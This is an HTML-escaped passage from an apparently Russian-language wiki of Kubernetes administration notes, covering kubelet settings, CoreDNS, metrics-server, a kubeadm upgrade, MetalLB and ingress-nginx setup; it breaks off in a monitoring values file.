&lt;h1 class=&quot;sectionedit3&quot; id=&quot;изменение_редактора_kubectl_edit&quot;&gt;Изменение редактора kubectl edit&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo awk -v line=&amp;#039;export KUBE_EDITOR=&amp;quot;/bin/nano&amp;quot;&amp;#039; &amp;#039;FNR==NR &amp;amp;&amp;amp; line==$0{f=1; exit} END{if (!f) print line &amp;gt;&amp;gt; FILENAME}&amp;#039; /etc/bash.bashrc&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 kubectl edit&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435_\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430_kubectl_edit&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;4055-4257&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;автодополнение_kubectl&quot;&gt;Автодополнение kubectl&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo awk -v line=&amp;#039;source &amp;lt;(kubectl completion bash)&amp;#039; &amp;#039;FNR==NR &amp;amp;&amp;amp; line==$0{f=1; exit} END{if (!f) print line &amp;gt;&amp;gt; FILENAME}&amp;#039; /etc/bash.bashrc&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 kubectl&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435_kubectl&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4258-4449&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;varlibkubeletconfigyaml&quot;&gt;/var/lib/kubelet/config.yaml&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/var\/lib\/kubelet\/config.yaml&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;varlibkubeletconfigyaml&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4450-4490&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit6&quot; id=&quot;failed_to_initialize_csinodeinfo&quot;&gt;Failed to initialize CSINodeInfo&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Если нода не переходит в состояние &lt;strong&gt;Ready&lt;/strong&gt;, а при выполнении
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl describe nodes&lt;/pre&gt;

&lt;p&gt;
Видна ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Failed to initialize CSINodeInfo: error updating CSINode annotation: timed out waiting for the condition; caused by: the server could not find the requested resource&lt;/pre&gt;

&lt;p&gt;
то в файлике &lt;strong&gt;/var/lib/kubelet/config.yaml&lt;/strong&gt; нужно добавить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;featureGates:
  CSIMigration: false&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Failed to initialize CSINodeInfo&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;failed_to_initialize_csinodeinfo&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;4491-4991&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;cgroupdriver&quot;&gt;cgroupDriver&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://kubernetes.io/docs/setup/production-environment/container-runtimes/&quot; class=&quot;urlextern&quot; title=&quot;https://kubernetes.io/docs/setup/production-environment/container-runtimes/&quot; rel=&quot;ugc nofollow&quot;&gt;https://kubernetes.io/docs/setup/production-environment/container-runtimes/&lt;/a&gt; &lt;br/&gt;

Также в файлике &lt;strong&gt;/var/lib/kubelet/config.yaml&lt;/strong&gt; нужно включить такой же &lt;strong&gt;cgroupDriver&lt;/strong&gt;, что и для &lt;strong&gt;docker&lt;/strong&gt; (в файлике &lt;strong&gt;/etc/docker/daemon.json&lt;/strong&gt;). По дефолту стоит &lt;strong&gt;cgroupfs&lt;/strong&gt;. &lt;br/&gt;

И вообще - если в системе есть &lt;strong&gt;systemd&lt;/strong&gt;, то нужно использовать &lt;strong&gt;cgroupDriver&lt;/strong&gt;. Если будет включен &lt;strong&gt;cgroupfs&lt;/strong&gt;, то ресурсами будут управлять два менеджера одновременно, что негативно сказыватся на стабильности. &lt;br/&gt;

То есть просто в конце файлика с нулевым отступом можно дописать: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cgroupDriver: systemd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;cgroupDriver&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cgroupdriver&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4992-5852&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;kubelet_log_level&quot;&gt;Kubelet Log level&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/systemd/system/multi-user.target.wants/kubelet.service &lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;ExecStart=/usr/bin/kubelet --v=2&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl daemon-reload
sudo systemctl restart kubelet&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Kubelet Log level&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kubelet_log_level&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;5853-6046&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;coredns&quot;&gt;CoreDNS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/#coredns&quot; class=&quot;urlextern&quot; title=&quot;https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/#coredns&quot; rel=&quot;ugc nofollow&quot;&gt;https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/#coredns&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;CoreDNS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;coredns&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;6047-6155&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit10&quot; id=&quot;изменяем_дефолтный_dns-сервер_для_forwarding_a_запросов&quot;&gt;Изменяем дефолтный DNS-сервер для forwarding&amp;#039;a запросов&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Конфигурация &lt;strong&gt;CoreDNS&lt;/strong&gt; хранится в &lt;strong&gt;ConfigMap coredns&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl edit cm coredns -n kube-system&lt;/pre&gt;

&lt;p&gt;
Редактируем параметр &lt;strong&gt;forward&lt;/strong&gt;. Вместо &lt;strong&gt;/etc/resolv.conf&lt;/strong&gt; пописываем адрес нужного &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-сервера
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;forward . 192.168.1.100&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0439 DNS-\u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043b\u044f forwarding&amp;#039;a \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0437\u043c\u0435\u043d\u044f\u0435\u043c_\u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0439_dns-\u0441\u0435\u0440\u0432\u0435\u0440_\u0434\u043b\u044f_forwarding_a_\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;6156-6557&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit11&quot; id=&quot;kubernetes_monitoring&quot;&gt;Kubernetes monitoring&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Чтобы работали команды
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl top nodes&lt;/pre&gt;

&lt;p&gt;
и
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl top pods&lt;/pre&gt;

&lt;p&gt;
Нужно установить сервер метрик. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Kubernetes monitoring&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kubernetes_monitoring&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;6558-6758&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit12&quot; id=&quot;установка_сервера_метрик_kubernetes&quot;&gt;Установка сервера метрик kubernetes&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/kubernetes-sigs/metrics-server&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/kubernetes-sigs/metrics-server&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/kubernetes-sigs/metrics-server&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml&lt;/pre&gt;

&lt;p&gt;
В результате в неймспейсе &lt;strong&gt;kube-system&lt;/strong&gt; появится &lt;strong&gt;deployment&lt;/strong&gt; &lt;strong&gt;metrics-server&lt;/strong&gt; и развернется &lt;strong&gt;pod&lt;/strong&gt; &lt;strong&gt;metrics-server-…&lt;/strong&gt;.&lt;br/&gt;

В нашем кластере отключен &lt;strong&gt;ssl&lt;/strong&gt;, но он включен по-дефолту в &lt;strong&gt;metrics-server&lt;/strong&gt;. Поэтому выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl edit deploy -n kube-system metrics-server&lt;/pre&gt;

&lt;p&gt;
и в &lt;strong&gt;&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;.template.&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;.containers.args&lt;/strong&gt; добавляем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  - --kubelet-insecure-tls&lt;/pre&gt;

&lt;p&gt;
Без этого параметра metrics-server не запустится, а в логах будет примерно такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[unable to fully scrape metrics from node kub-worker01: unable to fetch metrics from node kub-sbl-apps-dev-worker01: Get &amp;quot;https://192.168.44.11:10250/stats/summary?only_cpu_and_memory=true&amp;quot;: x509: cannot validate certificate for 192.168.44.11 because it doesn&amp;#039;t contain any IP SANs &lt;/pre&gt;

&lt;p&gt;
Все. Через некоторое время команды &lt;strong&gt;kubectl top&lt;/strong&gt; начнут выдавать осмысленную информацию. &lt;br/&gt;

Если этого не происходит, а в логах 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl logs -n kube-system metrics-server...&lt;/pre&gt;

&lt;p&gt;
Видно такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reststorage.go:160] unable to fetch pod metrics for ...&lt;/pre&gt;

&lt;p&gt;
То можно попробывать добавить в в &lt;strong&gt;&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;.template.&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;.containers.args&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043c\u0435\u0442\u0440\u0438\u043a kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0441\u0435\u0440\u0432\u0435\u0440\u0430_\u043c\u0435\u0442\u0440\u0438\u043a_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;6759-8480&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit13&quot; id=&quot;helm&quot;&gt;Helm&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
С третьей версией &lt;strong&gt;Helm&lt;/strong&gt; ничего в кластер ставить не нужно. Для использования достаточно бинарника и сконфигурированного &lt;strong&gt;context&lt;/strong&gt; для доступа к кластеру.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Helm&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;helm&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;8481-8776&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit14&quot; id=&quot;обновление_kubernetes&quot;&gt;Обновление kubernetes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
смотрим какие версии &lt;strong&gt;kubeadm&lt;/strong&gt; нам доступны
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
apt-cache madison kubeadm&lt;/pre&gt;

&lt;p&gt;
Разрешаем обновление &lt;strong&gt;kubernetes-cni&lt;/strong&gt; и &lt;strong&gt;kubeadm&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-mark unhold kubernetes-cni kubeadm&lt;/pre&gt;

&lt;p&gt;
Ставим нужную версию &lt;strong&gt;kubeadm&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install kubeadm=1.20.9-00&lt;/pre&gt;

&lt;p&gt;
Проверяем возможность апгрейда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kubeadm upgrade plan&lt;/pre&gt;

&lt;p&gt;
Если у нас хост с &lt;strong&gt;containerd&lt;/strong&gt; (без &lt;strong&gt;docker&lt;/strong&gt;), то нужно проверить, что параметр &lt;strong&gt;kubeadm.alpha.kubernetes.io/cri-socket&lt;/strong&gt; указывает не на &lt;strong&gt;docker-shim&lt;/strong&gt;, а на сокет &lt;strong&gt;containerd&lt;/strong&gt;. У меня так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubeadm.alpha.kubernetes.io/cri-socket: /run/containerd/containerd.sock&lt;/pre&gt;

&lt;p&gt;
если этого не сделать - будет ошибка, поскольку &lt;strong&gt;kubeadm&lt;/strong&gt; возьмет эту запись и будет пытаться работать через docker, которого нет:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;error execution phase preflight: docker is required for container runtime: exec: &amp;quot;docker&amp;quot;: executable file not found in $PATH&lt;/pre&gt;

&lt;p&gt;
Обновляем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kubeadm upgrade apply v1.20.9&lt;/pre&gt;

&lt;p&gt;
Разрешаем обновление &lt;strong&gt;kubelet&lt;/strong&gt; и &lt;strong&gt;kubectl&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-mark unhold kubelet kubectl&lt;/pre&gt;

&lt;p&gt;
И обновляем их до нужной версии:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install -y kubelet=1.20.9-00 kubectl=1.20.9-00&lt;/pre&gt;

&lt;p&gt;
Морозим обратно версии пакетов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-mark hold kube*&lt;/pre&gt;

&lt;p&gt;
Апгрейдим всю систему:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;8777-10406&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit15&quot; id=&quot;доступ_к_подам_снаружи&quot;&gt;Доступ к подам снаружи&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для доступа к сервисам, которые предоставляют поды, нужно установить и настроить:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://metallb.universe.tf/&quot; class=&quot;urlextern&quot; title=&quot;https://metallb.universe.tf/&quot; rel=&quot;ugc nofollow&quot;&gt;LoadBalancer MetalLB&lt;/a&gt; для получения сервисами IP-адресов локальной (или нелокальной) сети.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;Ingress Controller&lt;/strong&gt; для маршрутизации &lt;strong&gt;HTTP/HTTPS&lt;/strong&gt; запросов.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;Cert Manager&lt;/strong&gt; для управления сертификатами (в том числе и &lt;strong&gt;Let&amp;#039;s Encrypt&lt;/strong&gt;).
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0434\u0430\u043c \u0441\u043d\u0430\u0440\u0443\u0436\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0441\u0442\u0443\u043f_\u043a_\u043f\u043e\u0434\u0430\u043c_\u0441\u043d\u0430\u0440\u0443\u0436\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:15,&amp;quot;range&amp;quot;:&amp;quot;10407-11009&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit16&quot; id=&quot;loadbalancer_-_metallb&quot;&gt;LoadBalancer - MetalLB&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://habr.com/ru/company/southbridge/blog/443110/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/ru/company/southbridge/blog/443110/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/ru/company/southbridge/blog/443110/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://metallb.universe.tf/installation/&quot; class=&quot;urlextern&quot; title=&quot;https://metallb.universe.tf/installation/&quot; rel=&quot;ugc nofollow&quot;&gt;https://metallb.universe.tf/installation/&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;helm repo add metallb https://metallb.github.io/metallb
helm repo update
kubectl create ns metallb-system 
helm upgrade --install -n metallb-system metallb metallb/metallb \
  --set configInline.address-pools[0].name=&amp;quot;default&amp;quot; \
  --set configInline.address-pools[0].protocol=&amp;quot;layer2&amp;quot; \
  --set configInline.address-pools[0].addresses[0]=&amp;quot;192.168.77.160-192.168.77.189&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;LoadBalancer - MetalLB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;loadbalancer_-_metallb&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:16,&amp;quot;range&amp;quot;:&amp;quot;11010-11529&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit17&quot; id=&quot;апгрейдим_metallb&quot;&gt;Апгрейдим metallb&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;helm repo update
helm upgrade -n metallb-system metallb metallb/metallb --reuse-values&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c metallb&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c_metallb&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:17,&amp;quot;range&amp;quot;:&amp;quot;11530-11657&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit18&quot; id=&quot;ingress-controller&quot;&gt;Ingress-controller&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&quot; class=&quot;urlextern&quot; title=&quot;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&lt;/a&gt; &lt;br/&gt;

Либо тоже самое можно сделать с помощью helm-чарта:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl create ns ingress
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;#helm install stable/nginx-ingress --name http-https --namespace ingress
helm upgrade --install nginx -n ingress ingress-nginx/ingress-nginx \
--set controller.service.type=LoadBalancer,controller.service.externalTrafficPolicy=Cluster,controller.service.loadBalancerIP=192.168.77.160 \
--set controller.addHeaders.&amp;quot;X-XSS-Protection&amp;quot;=&amp;quot;1\;mode=block&amp;quot; \
--set controller.addHeaders.&amp;quot;Content-Security-Policy&amp;quot;=&amp;quot;default-src &amp;#039;self&amp;#039;; \
script-src &amp;#039;self&amp;#039; &amp;#039;unsafe-inline&amp;#039; &amp;#039;unsafe-eval&amp;#039; https://www.google-analytics.com https://www.googletagmanager.com &amp;#039;nonce-HM305BL1jG4mB1xm&amp;#039; https://mc.yandex.ru; \
img-src &amp;#039;self&amp;#039; https://www.google-analytics.com https://*.yandex.ru; \
style-src &amp;#039;self&amp;#039; &amp;#039;unsafe-inline&amp;#039; https://fonts.googleapis.com; \
font-src &amp;#039;self&amp;#039; https://themes.googleusercontent.com;&amp;quot; \
--set controller.addHeaders.&amp;quot;Strict-Transport-Security&amp;quot;=&amp;quot;max-age=31536000;includeSubdomains;preload&amp;quot; \
--set controller.addHeaders.&amp;quot;X-Frame-Options&amp;quot;=&amp;quot;SAMEORIGIN&amp;quot; \
--set controller.addHeaders.&amp;quot;X-Content-Type-Options&amp;quot;=&amp;quot;nosniff&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Ну или без драконовских запретов (заголовки &lt;strong&gt;Content-Security-Policy&lt;/strong&gt; влияют на все ресурсы за этим &lt;strong&gt;ingress-controller&lt;/strong&gt; и что-то может просто не заработать):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;helm upgrade --install nginx -n ingress ingress-nginx/ingress-nginx \
--set controller.service.type=LoadBalancer \
--set controller.service.externalTrafficPolicy=Cluster \
--set controller.service.loadBalancerIP=192.168.77.160 \
--set controller.addHeaders.&amp;quot;X-XSS-Protection&amp;quot;=&amp;quot;1\;mode=block&amp;quot; \
--set controller.addHeaders.&amp;quot;Strict-Transport-Security&amp;quot;=&amp;quot;max-age=31536000;includeSubdomains;preload&amp;quot; \
--set controller.addHeaders.&amp;quot;X-Frame-Options&amp;quot;=&amp;quot;SAMEORIGIN&amp;quot; \
--set controller.addHeaders.&amp;quot;X-Content-Type-Options&amp;quot;=&amp;quot;nosniff&amp;quot;&lt;/pre&gt;

&lt;p&gt;
В результате - в неймспейсе &lt;strong&gt;ingress&lt;/strong&gt; появится сервис &lt;strong&gt;nginx-ingress-nginx-controller&lt;/strong&gt;, у которого будет тип &lt;strong&gt;LoadBalancer&lt;/strong&gt; и который получит указанный IP-адрес в локальной сети из диапазона, сконфигурированного для &lt;strong&gt;metallb&lt;/strong&gt;. &lt;br/&gt;

Теперь можно создавать &lt;strong&gt;ingress&lt;/strong&gt;&amp;#039;ы, которые будут смотреть на сервисы внутри кластера и предоставлять к ним доступ. Пользователи будут посылать запросы на &lt;strong&gt;ingress-controller&lt;/strong&gt;, а он, в свою очередь, - пересылать их на &lt;strong&gt;ingress&lt;/strong&gt;&amp;#039;ы.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Ingress-controller&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ingress-controller&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:18,&amp;quot;range&amp;quot;:&amp;quot;11658-14552&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit19&quot; id=&quot;мониторинг_nginx_ingess&quot;&gt;Мониторинг nginx ingess&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
В кластере нужно развернуть &lt;strong&gt;CRD&lt;/strong&gt; и оператор &lt;strong&gt;prometheus&lt;/strong&gt;: &lt;a href=&quot;https://wiki.autosys.tk/devops/prometheus_federation#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0_prometheus&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.autosys.tk/devops/prometheus_federation#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0_prometheus&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.autosys.tk/devops/prometheus_federation#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0_prometheus&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

&lt;strong&gt;nginx-ingress-monitoring-values.yaml&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;controller:
  metrics:
    port: 10254
    enabled: true
    service:
      annotations:
        prometheus.io/scrape: &amp;quot;true&amp;quot;
        prometheus.io/port: &amp;quot;10254&amp;quot;
      servicePort: 10254
      type: ClusterIP

